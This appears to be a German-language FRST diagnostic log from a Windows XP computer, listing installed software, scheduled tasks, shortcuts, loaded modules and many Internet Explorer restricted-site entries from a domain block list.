iLok Client Helper x32x64 (Version: 5.8.9 - PACE Anti-Piracy) Hidden

Interlok driver setup x32 (HKLM\...\{25613C10-27D2-410B-942B-D922D5C3A7BE}) (Version: 5.8.9 - PACE Anti-Piracy)

IomegaWare 4.0.2 (HKLM\...\IomegaWare) (Version:  - )

Java 8 Update 31 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83218031F0}) (Version: 8.0.310 - Oracle Corporation)

Java DB 10.6.2.1 (HKLM\...\{73EC658D-A1C6-40CA-8E86-E05821BAACE7}) (Version: 10.6.2.1 - Oracle)

Java(TM) 7 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83217000FF}) (Version: 7.0.0 - Oracle)

Java(TM) SE Development Kit 6 Update 31 (HKLM\...\{32A3A4F4-B792-11D6-A78A-00B0D0160310}) (Version: 1.6.0.310 - Oracle)

JavaFX 2.1.0 (HKLM\...\{1111706F-666A-4037-7777-210328764D10}) (Version: 2.1.0 - Oracle Corporation)

License Support (HKLM\...\InstallShield_{3165EA9B-36CC-499B-96FF-36FC30E10EF4}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

License Support (Version: 1.00.0000 - PACE Anti-Piracy, Inc.) Hidden

LightScribe  1.4.89.1 (Version: 1.4.89.1 - hxxp://www.lightscribe.com) Hidden

Logitech MouseWare 9.78  (HKLM\...\{5809E7CF-4DCF-11D4-9875-00105ACE7734}) (Version:  - )

Macromedia Contribute 3.11 (HKLM\...\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}) (Version: 3.11.0.2419 - Macromedia, Inc.)

Macromedia Dreamweaver 8 (HKLM\...\{0837A661-FEC3-48B3-876C-91E7D32048A9}) (Version: 8.0.0.2734 - Macromedia)

Macromedia Extension Manager (HKLM\...\{5546CDB5-2CE2-498B-B059-5B3BF81FC41F}) (Version: 1.7.240 - Macromedia, Inc.)

Macromedia Fireworks 8 (HKLM\...\{4C24A8C1-7CFA-4650-AF15-732F5BD7B46D}) (Version: 8.0.0.777 - Macromedia)

Macromedia Flash 8 (HKLM\...\{2BD5C305-1B27-4D41-B690-7A61172D2FEB}) (Version: 8.00.0000 - Macromedia)

Macromedia Flash 8 Video Encoder (HKLM\...\{8BF2C401-02CE-424D-BC26-6C4F9FB446B6}) (Version: 1.00.0000 - Macromedia)

Microsoft .NET Framework 1.1 (HKLM\...\Microsoft .NET Framework 1.1  (1033)) (Version:  - )

Microsoft .NET Framework 1.1 German Language Pack (HKLM\...\{E78BFA60-5393-4C38-82AB-E8019E464EB4}) (Version: 1.1.4322 - Microsoft)

Microsoft .NET Framework 1.1 Security Update (KB2698023) (HKLM\...\M2698023) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB2833941) (HKLM\...\M2833941) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB979906) (HKLM\...\M979906) (Version:  - )

Microsoft .NET Framework 2.0 Service Pack 1 Language Pack - DEU (HKLM\...\{9309DD7E-EBFE-3C95-8B47-30D3A012F606}) (Version: 2.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 2.0 Service Pack 2 (HKLM\...\{C09FB3CD-3D0C-3F2D-899A-6A1D67F2073F}) (Version: 2.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 1 Language Pack - DEU (HKLM\...\{A1071AEB-B0EF-3F5F-BC84-83A270EBE496}) (Version: 3.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 2 (HKLM\...\{A3051CD0-2F64-3813-A88D-B8DCCDE8F8C7}) (Version: 3.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.5 SP1 (HKLM\...\Microsoft .NET Framework 3.5 SP1) (Version:  - Microsoft Corporation)

Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft Automated Troubleshooting Services Shim (HKLM\...\{c9920352-04e6-469d-bab8-e2b9c7c75415}.sdb) (Version:  - )

Microsoft Office Excel Viewer 2003 (HKLM\...\{90840409-6000-11D3-8CFE-0150048383C9}) (Version: 11.0.6412.0 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 (HKLM\...\{6AFCA4E1-9B78-3640-8F72-A7BF33448200}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.51106 (HKLM\...\{8e70e4e1-06d7-470b-9f74-a51bef21088e}) (Version: 11.0.51106.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)

Microsoft Word 97 (HKLM\...\Word8.0) (Version:  - )

Movavi Video Converter 5.3 (HKLM\...\Movavi Video Converter 5.3) (Version: 5.3 - MOVAVI)

Mozilla Firefox 14.0.1 (x86 de) (HKLM\...\Mozilla Firefox 14.0.1 (x86 de)) (Version: 14.0.1 - Mozilla)

MSVC80_x86 (Version: 1.0.1.0 - Nokia) Hidden

MSVC80_x86_v2 (Version: 1.0.3.0 - Nokia) Hidden

MSVC90_x86 (Version: 1.0.1.2 - Nokia) Hidden

MSXML 4.0 SP2 (KB927978) (HKLM\...\{37477865-A3F1-4772-AD43-AAFC6BCFF99F}) (Version: 4.20.9841.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB936181) (HKLM\...\{C04E32E0-0416-434D-AFB9-6969D703A9EF}) (Version: 4.20.9848.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB954430) (HKLM\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB973688) (HKLM\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)

MSXML 4.0 SP2 Parser and SDK (HKLM\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation)

MSXML 6 Service Pack 2 (KB954459) (HKLM\...\{1A528690-6A2D-4BC5-B143-8C4AE8D19D96}) (Version: 6.20.1099.0 - Microsoft Corporation)

MySQL Connector C++ 1.1.6 (HKLM\...\{3986AD3D-19E0-4FEF-BCBA-08D66BFC216E}) (Version: 1.1.6 - Oracle and/or its affiliates)

MySQL Connector J (HKLM\...\{5E91E205-AC15-4FA2-8A73-3CB5EC0E04A5}) (Version: 5.1.35 - Oracle Corporation)

MySQL Connector Net 6.9.6 (HKLM\...\{71458704-E552-4A3E-8BFA-4F61C1F70724}) (Version: 6.9.6 - Oracle)

MySQL Connector/C 6.1 (HKLM\...\{E05E5D1F-4842-47FD-AB62-57FD89801084}) (Version: 6.1.6 - Oracle Corporation)

MySQL Connector/ODBC 5.3 (HKLM\...\{4C6A664C-DCA0-4CC6-8752-ED0850E3135A}) (Version: 5.3.4 - Oracle Corporation)

MySQL Control Center (HKLM\...\{7EFDA3AC-8A61-43C0-B023-33866829C816}) (Version: 0.9.4 - MySQL AB)

MySQL Documents 5.6 (HKLM\...\{3B77CCCC-740C-4DAE-8ACB-119DB9EB3D79}) (Version: 5.6.25 - Oracle Corporation)

MySQL Examples and Samples 5.6 (HKLM\...\{27DB65EA-A1BE-481A-9CE5-6F8D971C20FB}) (Version: 5.6.25 - Oracle Corporation)

MySQL Installer - Community (HKLM\...\{E337B02E-785E-4D32-9E8E-8C1C55DD3811}) (Version: 1.4.8.0 - Oracle Corporation)

MySQL Notifier 1.1.6 (HKLM\...\{CB76A6E9-B184-461D-A8BE-7D0D73199545}) (Version: 1.1.6 - Oracle)

MySQL Server 5.6 (HKLM\...\{88509059-D1CE-4D8B-8EC8-ED51D1F138C7}) (Version: 5.6.25 - Oracle Corporation)

Nero Suite (HKLM\...\NeroMultiInstaller!UninstallKey) (Version:  - )

OLYMPUS Digital Camera Updater (HKLM\...\{2A9E8F56-C31B-4DBB-BFE2-0F4EC8192355}) (Version: 1.0.3 - OLYMPUS IMAGING CORP.)

OLYMPUS Viewer 2 (HKLM\...\{7177EE4E-3D1D-4F45-85B5-B93DC758BA0B}) (Version: 1.1.1 - OLYMPUS IMAGING CORP.)

OpenMG Limited Patch 4.7-07-14-05-01 (HKLM\...\OpenMG HotFix4.7-07-13-22-01) (Version:  - )

OpenMG Secure Module 4.7.00 (HKLM\...\InstallShield_{CCD663AE-610D-4BDF-AAB0-E914B044527D}) (Version: 4.7.00.12140 - Sony Corporation)

OpenMG Secure Module 4.7.00 (Version: 4.7.00.12140 - Sony Corporation) Hidden

Opera 11.50 (HKLM\...\Opera 11.50.1074) (Version: 11.50.1074 - Opera Software ASA)

Opera Stable 19.0.1326.63 (HKLM\...\Opera 19.0.1326.63) (Version: 19.0.1326.63 - Opera Software ASA)

Overland (Version: 2.1.4 - Hewlett-Packard) Hidden

overland (Version: 2.1.5 - HP) Hidden

Panda USB Vaccine 1.0.1.4 (HKLM\...\{55A41219-9B22-4098-BAE7-AE289B3C569A}_is1) (Version:  - Panda Security)

PDFsam Basic (HKLM\...\{4E4EF242-7FF0-423E-99ED-C96305B840C0}) (Version: 3.0.10.0 - Andrea Vacondio)

PhotoGallery (Version: 5.35.0.059 - Hewlett-Packard) Hidden

PrintScreen (Version: 5.35.0.035 - Hewlett-Packard) Hidden

QFolder (Version: 1.00.0000 - Hewlett-Packard) Hidden

QuickProjects (Version: 5.35.0.047 - Hewlett-Packard) Hidden

QuickTime (HKLM\...\{0E64B098-8018-4256-BA23-C316A43AD9B0}) (Version: 7.72.80.56 - Apple Inc.)

Readme (Version: 40.0.105.000 - Hewlett-Packard) Hidden

RealPlayer (HKLM\...\RealPlayer 6.0) (Version:  - RealNetworks)

RME Fireface (HKLM\...\FIREFACE) (Version: 2.9.992.0 - RME Intelligent Audio Solutions)

Scan (Version: 3.5.0.0 - Hewlett-Packard) Hidden

Sicherheitsupdate für Microsoft Windows (KB2564958) (HKLM\...\KB2564958) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834903) (HKLM\...\KB2834903_WM10L) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834904) (HKLM\...\KB2834904_WM11) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2115168) (HKLM\...\KB2115168) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2229593) (HKLM\...\KB2229593) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2296011) (HKLM\...\KB2296011) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2360937) (HKLM\...\KB2360937) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2387149) (HKLM\...\KB2387149) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2393802) (HKLM\...\KB2393802) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2423089) (HKLM\...\KB2423089) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2440591) (HKLM\...\KB2440591) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2443105) (HKLM\...\KB2443105) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478960) (HKLM\...\KB2478960) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478971) (HKLM\...\KB2478971) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2479943) (HKLM\...\KB2479943) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2481109) (HKLM\...\KB2481109) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2485663) (HKLM\...\KB2485663) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2507938) (HKLM\...\KB2507938) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2535512) (HKLM\...\KB2535512) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2536276-v2) (HKLM\...\KB2536276-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2544893-v2) (HKLM\...\KB2544893-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2566454) (HKLM\...\KB2566454) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2570947) (HKLM\...\KB2570947) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2584146) (HKLM\...\KB2584146) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2585542) (HKLM\...\KB2585542) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2592799) (HKLM\...\KB2592799) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2598479) (HKLM\...\KB2598479) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2603381) (HKLM\...\KB2603381) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2618451) (HKLM\...\KB2618451) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2620712) (HKLM\...\KB2620712) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2631813) (HKLM\...\KB2631813) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2655992) (HKLM\...\KB2655992) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2659262) (HKLM\...\KB2659262) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2686509) (HKLM\...\KB2686509) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2691442) (HKLM\...\KB2691442) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2698365) (HKLM\...\KB2698365) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2712808) (HKLM\...\KB2712808) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2723135-v2) (HKLM\...\KB2723135-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2753842-v2) (HKLM\...\KB2753842-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2758857) (HKLM\...\KB2758857) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2802968) (HKLM\...\KB2802968) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2807986) (HKLM\...\KB2807986) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2820197) (HKLM\...\KB2820197) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2834886) (HKLM\...\KB2834886) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2850851) (HKLM\...\KB2850851) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB923561) (HKLM\...\KB923561) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB941569) (HKLM\...\KB941569) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB946648) (HKLM\...\KB946648) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950762) (HKLM\...\KB950762) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950974) (HKLM\...\KB950974) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB951376-v2) (HKLM\...\KB951376-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB952954) (HKLM\...\KB952954) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956572) (HKLM\...\KB956572) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956844) (HKLM\...\KB956844) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB959426) (HKLM\...\KB959426) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB960859) (HKLM\...\KB960859) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB969059) (HKLM\...\KB969059) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB971657) (HKLM\...\KB971657) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB972270) (HKLM\...\KB972270) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973869) (HKLM\...\KB973869) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973904) (HKLM\...\KB973904) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB974318) (HKLM\...\KB974318) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975467) (HKLM\...\KB975467) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975713) (Version: 1 - Microsoft Corporation) Hidden

Sicherheitsupdate für Windows XP (KB978338) (HKLM\...\KB978338) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB979309) (HKLM\...\KB979309) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB981997) (HKLM\...\KB981997) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982132) (HKLM\...\KB982132) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982665) (HKLM\...\KB982665) (Version: 1 - Microsoft Corporation)

SkinsHP1 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

SkinsHP2 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

Smaart 7 (HKLM\...\5E8913DE-2A67-4521-9616-BB9D0FE164B9) (Version: 7.3.0 - Rational Acoustics, LLC)

SonicStage 4.3 (HKLM\...\{A0EB195B-5876-48E6-879D-33D4B2102610}) (Version: 4.3 - Sony Corporation)

Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit) (HKLM\...\Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit)_is1) (Version: 1.0.0 - Sonnox Ltd, Oxford, UK)

SoundMAX (HKLM\...\{F0A37341-D692-11D4-A984-009027EC0A9C}) (Version: 5.10.01.4151 - Analog Devices)

Stage Research SFX (HKLM\...\{D0FBD3F4-FEE9-40FB-A2FC-20141F647D42}) (Version: 5.6.23 - Stage Research)

Steinberg Upload Manager (HKLM\...\{88BBBD8F-4C19-4809-B84B-7A8F8238B48D}) (Version: 1.0.0 - Steinberg Media Technologies GmbH)

Suite Specific (Version: 2.0.0 - Adobe Systems, Incorporated) Hidden

Surfing Protection (HKLM\...\IObit Surfing Protection_is1) (Version: 1.2 - IObit)

swMSM (Version: 12.0.0.1 - Adobe Systems, Inc) Hidden

Telenor Software Update Service (Version: 1.0.3.147 - Telenor Corporation) Hidden

Telenorhjelpen (HKLM\...\{83C805EC-99B6-47C5-B542-E53EB5594C22}) (Version: 3.3.1.45 - Telenor)

TextPad 4.7 (HKLM\...\{B510A987-487E-4C66-9F4F-D386AC275715}) (Version: 4.7.2 - Ihr Firmenname)

TrayApp (Version: 5.35.0.035 - Hewlett-Packard) Hidden

Unload (Version: 3.5.0 - Hewlett-Packard) Hidden

Update für Windows XP (KB951978) (Version: 1 - Microsoft Corporation) Hidden

Update für Windows XP (KB955759) (HKLM\...\KB955759) (Version: 1 - Microsoft Corporation)

Update für Windows XP (KB968389) (HKLM\...\KB968389) (Version: 1 - Microsoft Corporation)

VC80CRTRedist - 8.0.50727.6195 (Version: 1.2.0 - DivX, Inc) Hidden

Vimeo Uploader (HKLM\...\vimeo.Duplo.3E2F2984357E7A95AE95C69EF2C5C14640284048.1) (Version: 0.944 - UNKNOWN)

Vimeo Uploader (Version: 0.255 - UNKNOWN) Hidden

Visual C++ Redistributables (HKLM\...\InstallShield_{C2AF7B2D-7018-414B-9B8B-D3C9F3BED04F}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

WaveLab 6 (HKLM\...\WaveLabPro) (Version: 6.1.1.353 - Steinberg)

WavePad Uninstall (HKLM\...\WavePad) (Version:  - )

Waves (Version: 5.9.7.2 - Waves) Hidden

Waves Complete V8r13 (HKLM\...\{80000001-C561-4E32-99EB-3C5AD3683A70}) (Version: 8.0.13 - Waves)

WebFldrs XP (Version: 9.50.7523 - Microsoft Corporation) Hidden

WebReg (Version: 5.31.0.147 - Hewlett-Packard) Hidden

Winamp (remove only) (HKLM\...\Winamp) (Version:  - )

Windows 7 Upgrade Advisor (HKLM\...\{9A4D182C-35C7-4791-8484-4304EBC9101A}) (Version: 2.0.5000.0 - Microsoft Corporation)

Windows Genuine Advantage Notifications (KB905474) (HKLM\...\WgaNotify) (Version: 1.9.0040.0 - Microsoft Corporation)

Windows Internet Explorer 8 (HKLM\...\ie8) (Version: 20090308.140743 - Microsoft Corporation)

Windows Media Format Runtime (HKLM\...\Windows Media Format Runtime) (Version:  - )

Windows PowerShell(TM) 1.0 (HKLM\...\KB926139-v2) (Version: 2 - Microsoft Corporation)

Windows XP Service Pack 3 (HKLM\...\Windows XP Service Pack) (Version: 20080414.031514 - Microsoft Corporation)

Windows-Treiberpaket - OLYMPUS IMAGING CORP. Camera Communication Driver Package (09/09/2009 1.0.0.0) (HKLM\...\E77704EF5E71F4F18CADFBFA68595AFE036D5D97) (Version: 09/09/2009 1.0.0.0 - OLYMPUS IMAGING CORP.)

WinRAR (HKLM\...\WinRAR archiver) (Version:  - )

WinZip (HKLM\...\WinZip) (Version:  8.1 SR-2  (5791g) - WinZip Computing, Inc.)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{0FB8DE1A-E991-40E5-83CA-5172084B2073}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpISdownsampler.dll (Hewlett-Packard Co.)

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{DA7A2849-2E3F-4F87-A1C4-43843592BAED}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpodcpxe.dll (Hewlett-Packard Company)
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 

Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Programme\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Programme\Google\Update\GoogleUpdate.exe
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Remove Authorization Caches.lnk -> C:\Programme\Waves\Utilities\clear_auth_cache.bat ()

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Unregister Unauthorized V5 Plug-ins.lnk -> C:\Programme\Waves\Plug-Ins\unregisterunauth.bat (Keine Datei)

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Macromedia\Uninstall Macromedia FlashPaper 2.lnk -> C:\WINDOWS\Installer\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}\NewShortcut2_1.D404042C_B1B4_413E_B1C0_526D0BBE80E3.bat (Macromedia)
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2007-05-11 00:50 - 2007-05-11 00:50 - 00017024 _____ () C:\Programme\Adobe\Reader 8.0\Reader\viewerps.dll

2007-09-09 22:13 - 2007-05-22 10:59 - 00128512 _____ () C:\Programme\WinRAR\rarext.dll

2005-06-27 10:42 - 2005-06-27 10:42 - 00167936 _____ () C:\Programme\Macromedia\FlashPaper 2\FlashPaperContextMenu.dll

2004-01-05 11:44 - 2004-01-05 11:44 - 00565248 _____ () C:\WINDOWS\system32\hpotscl.dll
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Wdf01000.sys => ""="Driver"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Wdf01000.sys => ""="Driver"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 

IE restricted site: HKU\.DEFAULT\...\007guard.com -> install.007guard.com

IE restricted site: HKU\.DEFAULT\...\008i.com -> 008i.com

IE restricted site: HKU\.DEFAULT\...\008k.com -> www.008k.com

IE restricted site: HKU\.DEFAULT\...\00hq.com -> www.00hq.com

IE restricted site: HKU\.DEFAULT\...\010402.com -> 010402.com

IE restricted site: HKU\.DEFAULT\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\.DEFAULT\...\0scan.com -> www.0scan.com

IE restricted site: HKU\.DEFAULT\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\.DEFAULT\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\.DEFAULT\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\.DEFAULT\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\.DEFAULT\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\.DEFAULT\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\.DEFAULT\...\10sek.com -> www.10sek.com

IE restricted site: HKU\.DEFAULT\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\.DEFAULT\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\.DEFAULT\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\.DEFAULT\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\.DEFAULT\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\.DEFAULT\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5207 mehr Seiten.
 

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\007guard.com -> install.007guard.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008i.com -> 008i.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008k.com -> www.008k.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\00hq.com -> www.00hq.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\010402.com -> 010402.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\0scan.com -> www.0scan.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\10sek.com -> www.10sek.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-27.net -> user1.12-27.net

